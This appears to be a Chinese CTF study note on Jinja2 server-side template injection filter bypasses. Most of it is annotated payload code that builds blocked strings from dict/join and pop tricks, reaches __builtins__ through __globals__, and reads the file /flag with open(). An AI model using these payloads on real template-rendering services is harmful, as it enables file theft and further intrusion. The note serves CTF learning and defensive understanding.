1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| {% raw %} dict:dict函数在创造字典时python会自动把赋值对象看成字符串 例:dict(name=1)直接生成{"name":1} join:对字典使用join时,join会把字典的所有键拼接成一个字符串,所以dict(po=a,p=a)|join可以生成"pop",而a是占位符随便写
{% set po=dict(po=a,p=a)|join%} {#设置po为pop#} {% set a=(()|select|string|list)|attr(po)(24)%} {#{{()|select}}为<generator object select_or_reject at 0x7fbdb99af220>,pop(24)正好时下划线#} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {#设置ini为__init__#} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {#设置glo为__globals__#} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {#设置geti为__getitem__#} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {#设置built为__builtins__#} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{#设置x为q.__ini__.__globals__.__getitem__('__builtins')#} {% set chr=x.chr%} {#提取__builtins__中的chr函数#} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{#构造文件路径/flag#} {%print(x.open(file).read())%}{#利用__builtins__.open('/flag').read()读取文件内容#}
数字被过滤可以用count如{%set n=(dict(cccc=a)|join)|count%}将n赋值为4 length:count被过滤可以用length替换,jinja2的length和count完全等价
{%print(lipsum|string|list)%} 输出: ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '6', 'b', 'f', '3', 'e', '4', 'c', '5', '5', '0', '>'] 而我们要在这些字符中把我们想要的一个个拼起来 例: {%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%} {%print(lipsum|attr(gl))%} gl为__globals__
{% endraw %}
|